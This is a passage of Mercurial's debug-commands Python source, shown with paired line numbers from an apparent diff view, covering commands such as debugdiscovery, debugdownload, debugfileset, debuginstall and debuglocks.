930 931 b"unpruned common: %s\n"
931 932 % b" ".join(sorted(short(n) for n in common))
932 933 )
933 934
934 935 clnode = repo.changelog.node
935 936 common = repo.revs(b'heads(::%ln)', common)
936 937 common = {clnode(r) for r in common}
937 938 return common, hds
938 939
939 940 else:
940 941
941 942 def doit(pushedrevs, remoteheads, remote=remote):
942 943 nodes = None
943 944 if pushedrevs:
944 945 revs = scmutil.revrange(repo, pushedrevs)
945 946 nodes = [repo[r].node() for r in revs]
946 947 common, any, hds = setdiscovery.findcommonheads(
947 948 ui, repo, remote, ancestorsof=nodes
948 949 )
949 950 return common, hds
950 951
951 952 remoterevs, _checkout = hg.addbranchrevs(repo, remote, branches, revs=None)
952 953 localrevs = opts[b'rev']
953 954 with util.timedcm('debug-discovery') as t:
954 955 common, hds = doit(localrevs, remoterevs)
955 956
956 957 # compute all statistics
957 958 common = set(common)
958 959 rheads = set(hds)
959 960 lheads = set(repo.heads())
960 961
961 962 data = {}
962 963 data[b'elapsed'] = t.elapsed
963 964 data[b'nb-common'] = len(common)
964 965 data[b'nb-common-local'] = len(common & lheads)
965 966 data[b'nb-common-remote'] = len(common & rheads)
966 967 data[b'nb-common-both'] = len(common & rheads & lheads)
967 968 data[b'nb-local'] = len(lheads)
968 969 data[b'nb-local-missing'] = data[b'nb-local'] - data[b'nb-common-local']
969 970 data[b'nb-remote'] = len(rheads)
970 971 data[b'nb-remote-unknown'] = data[b'nb-remote'] - data[b'nb-common-remote']
971 972 data[b'nb-revs'] = len(repo.revs(b'all()'))
972 973 data[b'nb-revs-common'] = len(repo.revs(b'::%ln', common))
973 974 data[b'nb-revs-missing'] = data[b'nb-revs'] - data[b'nb-revs-common']
974 975
975 976 # display discovery summary
976 977 ui.writenoi18n(b"elapsed time: %(elapsed)f seconds\n" % data)
977 978 ui.writenoi18n(b"heads summary:\n")
978 979 ui.writenoi18n(b" total common heads: %(nb-common)9d\n" % data)
979 980 ui.writenoi18n(b" also local heads: %(nb-common-local)9d\n" % data)
980 981 ui.writenoi18n(b" also remote heads: %(nb-common-remote)9d\n" % data)
981 982 ui.writenoi18n(b" both: %(nb-common-both)9d\n" % data)
982 983 ui.writenoi18n(b" local heads: %(nb-local)9d\n" % data)
983 984 ui.writenoi18n(b" common: %(nb-common-local)9d\n" % data)
984 985 ui.writenoi18n(b" missing: %(nb-local-missing)9d\n" % data)
985 986 ui.writenoi18n(b" remote heads: %(nb-remote)9d\n" % data)
986 987 ui.writenoi18n(b" common: %(nb-common-remote)9d\n" % data)
987 988 ui.writenoi18n(b" unknown: %(nb-remote-unknown)9d\n" % data)
988 989 ui.writenoi18n(b"local changesets: %(nb-revs)9d\n" % data)
989 990 ui.writenoi18n(b" common: %(nb-revs-common)9d\n" % data)
990 991 ui.writenoi18n(b" missing: %(nb-revs-missing)9d\n" % data)
991 992
992 993 if ui.verbose:
993 994 ui.writenoi18n(
994 995 b"common heads: %s\n" % b" ".join(sorted(short(n) for n in common))
995 996 )
996 997
997 998
998 999 _chunksize = 4 << 10
999 1000
1000 1001
1001 1002 @command(
1002 1003 b'debugdownload', [(b'o', b'output', b'', _(b'path')),], optionalrepo=True
1003 1004 )
1004 1005 def debugdownload(ui, repo, url, output=None, **opts):
1005 1006 """download a resource using Mercurial logic and config
1006 1007 """
1007 1008 fh = urlmod.open(ui, url, output)
1008 1009
1009 1010 dest = ui
1010 1011 if output:
1011 1012 dest = open(output, b"wb", _chunksize)
1012 1013 try:
1013 1014 data = fh.read(_chunksize)
1014 1015 while data:
1015 1016 dest.write(data)
1016 1017 data = fh.read(_chunksize)
1017 1018 finally:
1018 1019 if output:
1019 1020 dest.close()
1020 1021
1021 1022
1022 1023 @command(b'debugextensions', cmdutil.formatteropts, [], optionalrepo=True)
1023 1024 def debugextensions(ui, repo, **opts):
1024 1025 '''show information about active extensions'''
1025 1026 opts = pycompat.byteskwargs(opts)
1026 1027 exts = extensions.extensions(ui)
1027 1028 hgver = util.version()
1028 1029 fm = ui.formatter(b'debugextensions', opts)
1029 1030 for extname, extmod in sorted(exts, key=operator.itemgetter(0)):
1030 1031 isinternal = extensions.ismoduleinternal(extmod)
1031 1032 extsource = pycompat.fsencode(extmod.__file__)
1032 1033 if isinternal:
1033 1034 exttestedwith = [] # never expose magic string to users
1034 1035 else:
1035 1036 exttestedwith = getattr(extmod, 'testedwith', b'').split()
1036 1037 extbuglink = getattr(extmod, 'buglink', None)
1037 1038
1038 1039 fm.startitem()
1039 1040
1040 1041 if ui.quiet or ui.verbose:
1041 1042 fm.write(b'name', b'%s\n', extname)
1042 1043 else:
1043 1044 fm.write(b'name', b'%s', extname)
1044 1045 if isinternal or hgver in exttestedwith:
1045 1046 fm.plain(b'\n')
1046 1047 elif not exttestedwith:
1047 1048 fm.plain(_(b' (untested!)\n'))
1048 1049 else:
1049 1050 lasttestedversion = exttestedwith[-1]
1050 1051 fm.plain(b' (%s!)\n' % lasttestedversion)
1051 1052
1052 1053 fm.condwrite(
1053 1054 ui.verbose and extsource,
1054 1055 b'source',
1055 1056 _(b' location: %s\n'),
1056 1057 extsource or b"",
1057 1058 )
1058 1059
1059 1060 if ui.verbose:
1060 1061 fm.plain(_(b' bundled: %s\n') % [b'no', b'yes'][isinternal])
1061 1062 fm.data(bundled=isinternal)
1062 1063
1063 1064 fm.condwrite(
1064 1065 ui.verbose and exttestedwith,
1065 1066 b'testedwith',
1066 1067 _(b' tested with: %s\n'),
1067 1068 fm.formatlist(exttestedwith, name=b'ver'),
1068 1069 )
1069 1070
1070 1071 fm.condwrite(
1071 1072 ui.verbose and extbuglink,
1072 1073 b'buglink',
1073 1074 _(b' bug reporting: %s\n'),
1074 1075 extbuglink or b"",
1075 1076 )
1076 1077
1077 1078 fm.end()
1078 1079
1079 1080
1080 1081 @command(
1081 1082 b'debugfileset',
1082 1083 [
1083 1084 (
1084 1085 b'r',
1085 1086 b'rev',
1086 1087 b'',
1087 1088 _(b'apply the filespec on this revision'),
1088 1089 _(b'REV'),
1089 1090 ),
1090 1091 (
1091 1092 b'',
1092 1093 b'all-files',
1093 1094 False,
1094 1095 _(b'test files from all revisions and working directory'),
1095 1096 ),
1096 1097 (
1097 1098 b's',
1098 1099 b'show-matcher',
1099 1100 None,
1100 1101 _(b'print internal representation of matcher'),
1101 1102 ),
1102 1103 (
1103 1104 b'p',
1104 1105 b'show-stage',
1105 1106 [],
1106 1107 _(b'print parsed tree at the given stage'),
1107 1108 _(b'NAME'),
1108 1109 ),
1109 1110 ],
1110 1111 _(b'[-r REV] [--all-files] [OPTION]... FILESPEC'),
1111 1112 )
1112 1113 def debugfileset(ui, repo, expr, **opts):
1113 1114 '''parse and apply a fileset specification'''
1114 1115 from . import fileset
1115 1116
1116 1117 fileset.symbols # force import of fileset so we have predicates to optimize
1117 1118 opts = pycompat.byteskwargs(opts)
1118 1119 ctx = scmutil.revsingle(repo, opts.get(b'rev'), None)
1119 1120
1120 1121 stages = [
1121 1122 (b'parsed', pycompat.identity),
1122 1123 (b'analyzed', filesetlang.analyze),
1123 1124 (b'optimized', filesetlang.optimize),
1124 1125 ]
1125 1126 stagenames = set(n for n, f in stages)
1126 1127
1127 1128 showalways = set()
1128 1129 if ui.verbose and not opts[b'show_stage']:
1129 1130 # show parsed tree by --verbose (deprecated)
1130 1131 showalways.add(b'parsed')
1131 1132 if opts[b'show_stage'] == [b'all']:
1132 1133 showalways.update(stagenames)
1133 1134 else:
1134 1135 for n in opts[b'show_stage']:
1135 1136 if n not in stagenames:
1136 1137 raise error.Abort(_(b'invalid stage name: %s') % n)
1137 1138 showalways.update(opts[b'show_stage'])
1138 1139
1139 1140 tree = filesetlang.parse(expr)
1140 1141 for n, f in stages:
1141 1142 tree = f(tree)
1142 1143 if n in showalways:
1143 1144 if opts[b'show_stage'] or n != b'parsed':
1144 1145 ui.write(b"* %s:\n" % n)
1145 1146 ui.write(filesetlang.prettyformat(tree), b"\n")
1146 1147
1147 1148 files = set()
1148 1149 if opts[b'all_files']:
1149 1150 for r in repo:
1150 1151 c = repo[r]
1151 1152 files.update(c.files())
1152 1153 files.update(c.substate)
1153 1154 if opts[b'all_files'] or ctx.rev() is None:
1154 1155 wctx = repo[None]
1155 1156 files.update(
1156 1157 repo.dirstate.walk(
1157 1158 scmutil.matchall(repo),
1158 1159 subrepos=list(wctx.substate),
1159 1160 unknown=True,
1160 1161 ignored=True,
1161 1162 )
1162 1163 )
1163 1164 files.update(wctx.substate)
1164 1165 else:
1165 1166 files.update(ctx.files())
1166 1167 files.update(ctx.substate)
1167 1168
1168 1169 m = ctx.matchfileset(expr)
1169 1170 if opts[b'show_matcher'] or (opts[b'show_matcher'] is None and ui.verbose):
1170 1171 ui.writenoi18n(b'* matcher:\n', stringutil.prettyrepr(m), b'\n')
1171 1172 for f in sorted(files):
1172 1173 if not m(f):
1173 1174 continue
1174 1175 ui.write(b"%s\n" % f)
1175 1176
1176 1177
1177 1178 @command(b'debugformat', [] + cmdutil.formatteropts)
1178 1179 def debugformat(ui, repo, **opts):
1179 1180 """display format information about the current repository
1180 1181
1181 1182 Use --verbose to get extra information about current config value and
1182 1183 Mercurial default."""
1183 1184 opts = pycompat.byteskwargs(opts)
1184 1185 maxvariantlength = max(len(fv.name) for fv in upgrade.allformatvariant)
1185 1186 maxvariantlength = max(len(b'format-variant'), maxvariantlength)
1186 1187
1187 1188 def makeformatname(name):
1188 1189 return b'%s:' + (b' ' * (maxvariantlength - len(name)))
1189 1190
1190 1191 fm = ui.formatter(b'debugformat', opts)
1191 1192 if fm.isplain():
1192 1193
1193 1194 def formatvalue(value):
1194 1195 if util.safehasattr(value, b'startswith'):
1195 1196 return value
1196 1197 if value:
1197 1198 return b'yes'
1198 1199 else:
1199 1200 return b'no'
1200 1201
1201 1202 else:
1202 1203 formatvalue = pycompat.identity
1203 1204
1204 1205 fm.plain(b'format-variant')
1205 1206 fm.plain(b' ' * (maxvariantlength - len(b'format-variant')))
1206 1207 fm.plain(b' repo')
1207 1208 if ui.verbose:
1208 1209 fm.plain(b' config default')
1209 1210 fm.plain(b'\n')
1210 1211 for fv in upgrade.allformatvariant:
1211 1212 fm.startitem()
1212 1213 repovalue = fv.fromrepo(repo)
1213 1214 configvalue = fv.fromconfig(repo)
1214 1215
1215 1216 if repovalue != configvalue:
1216 1217 namelabel = b'formatvariant.name.mismatchconfig'
1217 1218 repolabel = b'formatvariant.repo.mismatchconfig'
1218 1219 elif repovalue != fv.default:
1219 1220 namelabel = b'formatvariant.name.mismatchdefault'
1220 1221 repolabel = b'formatvariant.repo.mismatchdefault'
1221 1222 else:
1222 1223 namelabel = b'formatvariant.name.uptodate'
1223 1224 repolabel = b'formatvariant.repo.uptodate'
1224 1225
1225 1226 fm.write(b'name', makeformatname(fv.name), fv.name, label=namelabel)
1226 1227 fm.write(b'repo', b' %3s', formatvalue(repovalue), label=repolabel)
1227 1228 if fv.default != configvalue:
1228 1229 configlabel = b'formatvariant.config.special'
1229 1230 else:
1230 1231 configlabel = b'formatvariant.config.default'
1231 1232 fm.condwrite(
1232 1233 ui.verbose,
1233 1234 b'config',
1234 1235 b' %6s',
1235 1236 formatvalue(configvalue),
1236 1237 label=configlabel,
1237 1238 )
1238 1239 fm.condwrite(
1239 1240 ui.verbose,
1240 1241 b'default',
1241 1242 b' %7s',
1242 1243 formatvalue(fv.default),
1243 1244 label=b'formatvariant.default',
1244 1245 )
1245 1246 fm.plain(b'\n')
1246 1247 fm.end()
1247 1248
1248 1249
1249 1250 @command(b'debugfsinfo', [], _(b'[PATH]'), norepo=True)
1250 1251 def debugfsinfo(ui, path=b"."):
1251 1252 """show information detected about current filesystem"""
1252 1253 ui.writenoi18n(b'path: %s\n' % path)
1253 1254 ui.writenoi18n(
1254 1255 b'mounted on: %s\n' % (util.getfsmountpoint(path) or b'(unknown)')
1255 1256 )
1256 1257 ui.writenoi18n(b'exec: %s\n' % (util.checkexec(path) and b'yes' or b'no'))
1257 1258 ui.writenoi18n(b'fstype: %s\n' % (util.getfstype(path) or b'(unknown)'))
1258 1259 ui.writenoi18n(
1259 1260 b'symlink: %s\n' % (util.checklink(path) and b'yes' or b'no')
1260 1261 )
1261 1262 ui.writenoi18n(
1262 1263 b'hardlink: %s\n' % (util.checknlink(path) and b'yes' or b'no')
1263 1264 )
1264 1265 casesensitive = b'(unknown)'
1265 1266 try:
1266 1267 with pycompat.namedtempfile(prefix=b'.debugfsinfo', dir=path) as f:
1267 1268 casesensitive = util.fscasesensitive(f.name) and b'yes' or b'no'
1268 1269 except OSError:
1269 1270 pass
1270 1271 ui.writenoi18n(b'case-sensitive: %s\n' % casesensitive)
1271 1272
1272 1273
1273 1274 @command(
1274 1275 b'debuggetbundle',
1275 1276 [
1276 1277 (b'H', b'head', [], _(b'id of head node'), _(b'ID')),
1277 1278 (b'C', b'common', [], _(b'id of common node'), _(b'ID')),
1278 1279 (
1279 1280 b't',
1280 1281 b'type',
1281 1282 b'bzip2',
1282 1283 _(b'bundle compression type to use'),
1283 1284 _(b'TYPE'),
1284 1285 ),
1285 1286 ],
1286 1287 _(b'REPO FILE [-H|-C ID]...'),
1287 1288 norepo=True,
1288 1289 )
1289 1290 def debuggetbundle(ui, repopath, bundlepath, head=None, common=None, **opts):
1290 1291 """retrieves a bundle from a repo
1291 1292
1292 1293 Every ID must be a full-length hex node id string. Saves the bundle to the
1293 1294 given file.
1294 1295 """
1295 1296 opts = pycompat.byteskwargs(opts)
1296 1297 repo = hg.peer(ui, opts, repopath)
1297 1298 if not repo.capable(b'getbundle'):
1298 1299 raise error.Abort(b"getbundle() not supported by target repository")
1299 1300 args = {}
1300 1301 if common:
1301 1302 args['common'] = [bin(s) for s in common]
1302 1303 if head:
1303 1304 args['heads'] = [bin(s) for s in head]
1304 1305 # TODO: get desired bundlecaps from command line.
1305 1306 args['bundlecaps'] = None
1306 1307 bundle = repo.getbundle(b'debug', **args)
1307 1308
1308 1309 bundletype = opts.get(b'type', b'bzip2').lower()
1309 1310 btypes = {
1310 1311 b'none': b'HG10UN',
1311 1312 b'bzip2': b'HG10BZ',
1312 1313 b'gzip': b'HG10GZ',
1313 1314 b'bundle2': b'HG20',
1314 1315 }
1315 1316 bundletype = btypes.get(bundletype)
1316 1317 if bundletype not in bundle2.bundletypes:
1317 1318 raise error.Abort(_(b'unknown bundle type specified with --type'))
1318 1319 bundle2.writebundle(ui, bundle, bundlepath, bundletype)
1319 1320
1320 1321
1321 1322 @command(b'debugignore', [], b'[FILE]')
1322 1323 def debugignore(ui, repo, *files, **opts):
1323 1324 """display the combined ignore pattern and information about ignored files
1324 1325
1325 1326 With no argument display the combined ignore pattern.
1326 1327
1327 1328 Given space separated file names, shows if the given file is ignored and
1328 1329 if so, show the ignore rule (file and line number) that matched it.
1329 1330 """
1330 1331 ignore = repo.dirstate._ignore
1331 1332 if not files:
1332 1333 # Show all the patterns
1333 1334 ui.write(b"%s\n" % pycompat.byterepr(ignore))
1334 1335 else:
1335 1336 m = scmutil.match(repo[None], pats=files)
1336 1337 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=True)
1337 1338 for f in m.files():
1338 1339 nf = util.normpath(f)
1339 1340 ignored = None
1340 1341 ignoredata = None
1341 1342 if nf != b'.':
1342 1343 if ignore(nf):
1343 1344 ignored = nf
1344 1345 ignoredata = repo.dirstate._ignorefileandline(nf)
1345 1346 else:
1346 for p in util.finddirs(nf):
1347 for p in pathutil.finddirs(nf):
1347 1348 if ignore(p):
1348 1349 ignored = p
1349 1350 ignoredata = repo.dirstate._ignorefileandline(p)
1350 1351 break
1351 1352 if ignored:
1352 1353 if ignored == nf:
1353 1354 ui.write(_(b"%s is ignored\n") % uipathfn(f))
1354 1355 else:
1355 1356 ui.write(
1356 1357 _(
1357 1358 b"%s is ignored because of "
1358 1359 b"containing directory %s\n"
1359 1360 )
1360 1361 % (uipathfn(f), ignored)
1361 1362 )
1362 1363 ignorefile, lineno, line = ignoredata
1363 1364 ui.write(
1364 1365 _(b"(ignore rule in %s, line %d: '%s')\n")
1365 1366 % (ignorefile, lineno, line)
1366 1367 )
1367 1368 else:
1368 1369 ui.write(_(b"%s is not ignored\n") % uipathfn(f))
1369 1370
1370 1371
1371 1372 @command(
1372 1373 b'debugindex',
1373 1374 cmdutil.debugrevlogopts + cmdutil.formatteropts,
1374 1375 _(b'-c|-m|FILE'),
1375 1376 )
1376 1377 def debugindex(ui, repo, file_=None, **opts):
1377 1378 """dump index data for a storage primitive"""
1378 1379 opts = pycompat.byteskwargs(opts)
1379 1380 store = cmdutil.openstorage(repo, b'debugindex', file_, opts)
1380 1381
1381 1382 if ui.debugflag:
1382 1383 shortfn = hex
1383 1384 else:
1384 1385 shortfn = short
1385 1386
1386 1387 idlen = 12
1387 1388 for i in store:
1388 1389 idlen = len(shortfn(store.node(i)))
1389 1390 break
1390 1391
1391 1392 fm = ui.formatter(b'debugindex', opts)
1392 1393 fm.plain(
1393 1394 b' rev linkrev %s %s p2\n'
1394 1395 % (b'nodeid'.ljust(idlen), b'p1'.ljust(idlen))
1395 1396 )
1396 1397
1397 1398 for rev in store:
1398 1399 node = store.node(rev)
1399 1400 parents = store.parents(node)
1400 1401
1401 1402 fm.startitem()
1402 1403 fm.write(b'rev', b'%6d ', rev)
1403 1404 fm.write(b'linkrev', b'%7d ', store.linkrev(rev))
1404 1405 fm.write(b'node', b'%s ', shortfn(node))
1405 1406 fm.write(b'p1', b'%s ', shortfn(parents[0]))
1406 1407 fm.write(b'p2', b'%s', shortfn(parents[1]))
1407 1408 fm.plain(b'\n')
1408 1409
1409 1410 fm.end()
1410 1411
1411 1412
1412 1413 @command(
1413 1414 b'debugindexdot',
1414 1415 cmdutil.debugrevlogopts,
1415 1416 _(b'-c|-m|FILE'),
1416 1417 optionalrepo=True,
1417 1418 )
1418 1419 def debugindexdot(ui, repo, file_=None, **opts):
1419 1420 """dump an index DAG as a graphviz dot file"""
1420 1421 opts = pycompat.byteskwargs(opts)
1421 1422 r = cmdutil.openstorage(repo, b'debugindexdot', file_, opts)
1422 1423 ui.writenoi18n(b"digraph G {\n")
1423 1424 for i in r:
1424 1425 node = r.node(i)
1425 1426 pp = r.parents(node)
1426 1427 ui.write(b"\t%d -> %d\n" % (r.rev(pp[0]), i))
1427 1428 if pp[1] != nullid:
1428 1429 ui.write(b"\t%d -> %d\n" % (r.rev(pp[1]), i))
1429 1430 ui.write(b"}\n")
1430 1431
1431 1432
1432 1433 @command(b'debugindexstats', [])
1433 1434 def debugindexstats(ui, repo):
1434 1435 """show stats related to the changelog index"""
1435 1436 repo.changelog.shortest(nullid, 1)
1436 1437 index = repo.changelog.index
1437 1438 if not util.safehasattr(index, b'stats'):
1438 1439 raise error.Abort(_(b'debugindexstats only works with native code'))
1439 1440 for k, v in sorted(index.stats().items()):
1440 1441 ui.write(b'%s: %d\n' % (k, v))
1441 1442
1442 1443
1443 1444 @command(b'debuginstall', [] + cmdutil.formatteropts, b'', norepo=True)
1444 1445 def debuginstall(ui, **opts):
1445 1446 '''test Mercurial installation
1446 1447
1447 1448 Returns 0 on success.
1448 1449 '''
1449 1450 opts = pycompat.byteskwargs(opts)
1450 1451
1451 1452 problems = 0
1452 1453
1453 1454 fm = ui.formatter(b'debuginstall', opts)
1454 1455 fm.startitem()
1455 1456
1456 1457 # encoding
1457 1458 fm.write(b'encoding', _(b"checking encoding (%s)...\n"), encoding.encoding)
1458 1459 err = None
1459 1460 try:
1460 1461 codecs.lookup(pycompat.sysstr(encoding.encoding))
1461 1462 except LookupError as inst:
1462 1463 err = stringutil.forcebytestr(inst)
1463 1464 problems += 1
1464 1465 fm.condwrite(
1465 1466 err,
1466 1467 b'encodingerror',
1467 1468 _(b" %s\n (check that your locale is properly set)\n"),
1468 1469 err,
1469 1470 )
1470 1471
1471 1472 # Python
1472 1473 fm.write(
1473 1474 b'pythonexe',
1474 1475 _(b"checking Python executable (%s)\n"),
1475 1476 pycompat.sysexecutable or _(b"unknown"),
1476 1477 )
1477 1478 fm.write(
1478 1479 b'pythonver',
1479 1480 _(b"checking Python version (%s)\n"),
1480 1481 (b"%d.%d.%d" % sys.version_info[:3]),
1481 1482 )
1482 1483 fm.write(
1483 1484 b'pythonlib',
1484 1485 _(b"checking Python lib (%s)...\n"),
1485 1486 os.path.dirname(pycompat.fsencode(os.__file__)),
1486 1487 )
1487 1488
1488 1489 security = set(sslutil.supportedprotocols)
1489 1490 if sslutil.hassni:
1490 1491 security.add(b'sni')
1491 1492
1492 1493 fm.write(
1493 1494 b'pythonsecurity',
1494 1495 _(b"checking Python security support (%s)\n"),
1495 1496 fm.formatlist(sorted(security), name=b'protocol', fmt=b'%s', sep=b','),
1496 1497 )
1497 1498
1498 1499 # These are warnings, not errors. So don't increment problem count. This
1499 1500 # may change in the future.
1500 1501 if b'tls1.2' not in security:
1501 1502 fm.plain(
1502 1503 _(
1503 1504 b' TLS 1.2 not supported by Python install; '
1504 1505 b'network connections lack modern security\n'
1505 1506 )
1506 1507 )
1507 1508 if b'sni' not in security:
1508 1509 fm.plain(
1509 1510 _(
1510 1511 b' SNI not supported by Python install; may have '
1511 1512 b'connectivity issues with some servers\n'
1512 1513 )
1513 1514 )
1514 1515
1515 1516 # TODO print CA cert info
1516 1517
1517 1518 # hg version
1518 1519 hgver = util.version()
1519 1520 fm.write(
1520 1521 b'hgver', _(b"checking Mercurial version (%s)\n"), hgver.split(b'+')[0]
1521 1522 )
1522 1523 fm.write(
1523 1524 b'hgverextra',
1524 1525 _(b"checking Mercurial custom build (%s)\n"),
1525 1526 b'+'.join(hgver.split(b'+')[1:]),
1526 1527 )
1527 1528
1528 1529 # compiled modules
1529 1530 fm.write(
1530 1531 b'hgmodulepolicy', _(b"checking module policy (%s)\n"), policy.policy
1531 1532 )
1532 1533 fm.write(
1533 1534 b'hgmodules',
1534 1535 _(b"checking installed modules (%s)...\n"),
1535 1536 os.path.dirname(pycompat.fsencode(__file__)),
1536 1537 )
1537 1538
1538 1539 rustandc = policy.policy in (b'rust+c', b'rust+c-allow')
1539 1540 rustext = rustandc # for now, that's the only case
1540 1541 cext = policy.policy in (b'c', b'allow') or rustandc
1541 1542 nopure = cext or rustext
1542 1543 if nopure:
1543 1544 err = None
1544 1545 try:
1545 1546 if cext:
1546 1547 from .cext import (
1547 1548 base85,
1548 1549 bdiff,
1549 1550 mpatch,
1550 1551 osutil,
1551 1552 )
1552 1553
1553 1554 # quiet pyflakes
1554 1555 dir(bdiff), dir(mpatch), dir(base85), dir(osutil)
1555 1556 if rustext:
1556 1557 from .rustext import (
1557 1558 ancestor,
1558 1559 dirstate,
1559 1560 )
1560 1561
1561 1562 dir(ancestor), dir(dirstate) # quiet pyflakes
1562 1563 except Exception as inst:
1563 1564 err = stringutil.forcebytestr(inst)
1564 1565 problems += 1
1565 1566 fm.condwrite(err, b'extensionserror', b" %s\n", err)
1566 1567
1567 1568 compengines = util.compengines._engines.values()
1568 1569 fm.write(
1569 1570 b'compengines',
1570 1571 _(b'checking registered compression engines (%s)\n'),
1571 1572 fm.formatlist(
1572 1573 sorted(e.name() for e in compengines),
1573 1574 name=b'compengine',
1574 1575 fmt=b'%s',
1575 1576 sep=b', ',
1576 1577 ),
1577 1578 )
1578 1579 fm.write(
1579 1580 b'compenginesavail',
1580 1581 _(b'checking available compression engines (%s)\n'),
1581 1582 fm.formatlist(
1582 1583 sorted(e.name() for e in compengines if e.available()),
1583 1584 name=b'compengine',
1584 1585 fmt=b'%s',
1585 1586 sep=b', ',
1586 1587 ),
1587 1588 )
1588 1589 wirecompengines = compression.compengines.supportedwireengines(
1589 1590 compression.SERVERROLE
1590 1591 )
1591 1592 fm.write(
1592 1593 b'compenginesserver',
1593 1594 _(
1594 1595 b'checking available compression engines '
1595 1596 b'for wire protocol (%s)\n'
1596 1597 ),
1597 1598 fm.formatlist(
1598 1599 [e.name() for e in wirecompengines if e.wireprotosupport()],
1599 1600 name=b'compengine',
1600 1601 fmt=b'%s',
1601 1602 sep=b', ',
1602 1603 ),
1603 1604 )
1604 1605 re2 = b'missing'
1605 1606 if util._re2:
1606 1607 re2 = b'available'
1607 1608 fm.plain(_(b'checking "re2" regexp engine (%s)\n') % re2)
1608 1609 fm.data(re2=bool(util._re2))
1609 1610
1610 1611 # templates
1611 1612 p = templater.templatepaths()
1612 1613 fm.write(b'templatedirs', b'checking templates (%s)...\n', b' '.join(p))
1613 1614 fm.condwrite(not p, b'', _(b" no template directories found\n"))
1614 1615 if p:
1615 1616 m = templater.templatepath(b"map-cmdline.default")
1616 1617 if m:
1617 1618 # template found, check if it is working
1618 1619 err = None
1619 1620 try:
1620 1621 templater.templater.frommapfile(m)
1621 1622 except Exception as inst:
1622 1623 err = stringutil.forcebytestr(inst)
1623 1624 p = None
1624 1625 fm.condwrite(err, b'defaulttemplateerror', b" %s\n", err)
1625 1626 else:
1626 1627 p = None
1627 1628 fm.condwrite(
1628 1629 p, b'defaulttemplate', _(b"checking default template (%s)\n"), m
1629 1630 )
1630 1631 fm.condwrite(
1631 1632 not m,
1632 1633 b'defaulttemplatenotfound',
1633 1634 _(b" template '%s' not found\n"),
1634 1635 b"default",
1635 1636 )
1636 1637 if not p:
1637 1638 problems += 1
1638 1639 fm.condwrite(
1639 1640 not p, b'', _(b" (templates seem to have been installed incorrectly)\n")
1640 1641 )
1641 1642
1642 1643 # editor
1643 1644 editor = ui.geteditor()
1644 1645 editor = util.expandpath(editor)
1645 1646 editorbin = procutil.shellsplit(editor)[0]
1646 1647 fm.write(b'editor', _(b"checking commit editor... (%s)\n"), editorbin)
1647 1648 cmdpath = procutil.findexe(editorbin)
1648 1649 fm.condwrite(
1649 1650 not cmdpath and editor == b'vi',
1650 1651 b'vinotfound',
1651 1652 _(
1652 1653 b" No commit editor set and can't find %s in PATH\n"
1653 1654 b" (specify a commit editor in your configuration"
1654 1655 b" file)\n"
1655 1656 ),
1656 1657 not cmdpath and editor == b'vi' and editorbin,
1657 1658 )
1658 1659 fm.condwrite(
1659 1660 not cmdpath and editor != b'vi',
1660 1661 b'editornotfound',
1661 1662 _(
1662 1663 b" Can't find editor '%s' in PATH\n"
1663 1664 b" (specify a commit editor in your configuration"
1664 1665 b" file)\n"
1665 1666 ),
1666 1667 not cmdpath and editorbin,
1667 1668 )
1668 1669 if not cmdpath and editor != b'vi':
1669 1670 problems += 1
1670 1671
1671 1672 # check username
1672 1673 username = None
1673 1674 err = None
1674 1675 try:
1675 1676 username = ui.username()
1676 1677 except error.Abort as e:
1677 1678 err = stringutil.forcebytestr(e)
1678 1679 problems += 1
1679 1680
1680 1681 fm.condwrite(
1681 1682 username, b'username', _(b"checking username (%s)\n"), username
1682 1683 )
1683 1684 fm.condwrite(
1684 1685 err,
1685 1686 b'usernameerror',
1686 1687 _(
1687 1688 b"checking username...\n %s\n"
1688 1689 b" (specify a username in your configuration file)\n"
1689 1690 ),
1690 1691 err,
1691 1692 )
1692 1693
1693 1694 for name, mod in extensions.extensions():
1694 1695 handler = getattr(mod, 'debuginstall', None)
1695 1696 if handler is not None:
1696 1697 problems += handler(ui, fm)
1697 1698
1698 1699 fm.condwrite(not problems, b'', _(b"no problems detected\n"))
1699 1700 if not problems:
1700 1701 fm.data(problems=problems)
1701 1702 fm.condwrite(
1702 1703 problems,
1703 1704 b'problems',
1704 1705 _(b"%d problems detected, please check your install!\n"),
1705 1706 problems,
1706 1707 )
1707 1708 fm.end()
1708 1709
1709 1710 return problems
1710 1711
1711 1712
1712 1713 @command(b'debugknown', [], _(b'REPO ID...'), norepo=True)
1713 1714 def debugknown(ui, repopath, *ids, **opts):
1714 1715 """test whether node ids are known to a repo
1715 1716
1716 1717 Every ID must be a full-length hex node id string. Returns a list of 0s
1717 1718 and 1s indicating unknown/known.
1718 1719 """
1719 1720 opts = pycompat.byteskwargs(opts)
1720 1721 repo = hg.peer(ui, opts, repopath)
1721 1722 if not repo.capable(b'known'):
1722 1723 raise error.Abort(b"known() not supported by target repository")
1723 1724 flags = repo.known([bin(s) for s in ids])
1724 1725 ui.write(b"%s\n" % (b"".join([f and b"1" or b"0" for f in flags])))
1725 1726
1726 1727
1727 1728 @command(b'debuglabelcomplete', [], _(b'LABEL...'))
1728 1729 def debuglabelcomplete(ui, repo, *args):
1729 1730 '''backwards compatibility with old bash completion scripts (DEPRECATED)'''
1730 1731 debugnamecomplete(ui, repo, *args)
1731 1732
1732 1733
1733 1734 @command(
1734 1735 b'debuglocks',
1735 1736 [
1736 1737 (b'L', b'force-lock', None, _(b'free the store lock (DANGEROUS)')),
1737 1738 (
1738 1739 b'W',
1739 1740 b'force-wlock',
1740 1741 None,
1741 1742 _(b'free the working state lock (DANGEROUS)'),
1742 1743 ),
1743 1744 (b's', b'set-lock', None, _(b'set the store lock until stopped')),
1744 1745 (
1745 1746 b'S',
1746 1747 b'set-wlock',
1747 1748 None,
1748 1749 _(b'set the working state lock until stopped'),
1749 1750 ),
1750 1751 ],
1751 1752 _(b'[OPTION]...'),
1752 1753 )
1753 1754 def debuglocks(ui, repo, **opts):
1754 1755 """show or modify state of locks
1755 1756
1756 1757 By default, this command will show which locks are held. This
1757 1758 includes the user and process holding the lock, the amount of time
1758 1759 the lock has been held, and the machine name where the process is
1759 1760 running if it's not local.
1760 1761
1761 1762 Locks protect the integrity of Mercurial's data, so should be
1762 1763 treated with care. System crashes or other interruptions may cause
1763 1764 locks to not be properly released, though Mercurial will usually
1764 1765 detect and remove such stale locks automatically.
1765 1766
1766 1767 However, detecting stale locks may not always be possible (for
1767 1768 instance, on a shared filesystem). Removing locks may also be
1768 1769 blocked by filesystem permissions.
1769 1770
1770 1771 Setting a lock will prevent other commands from changing the data.
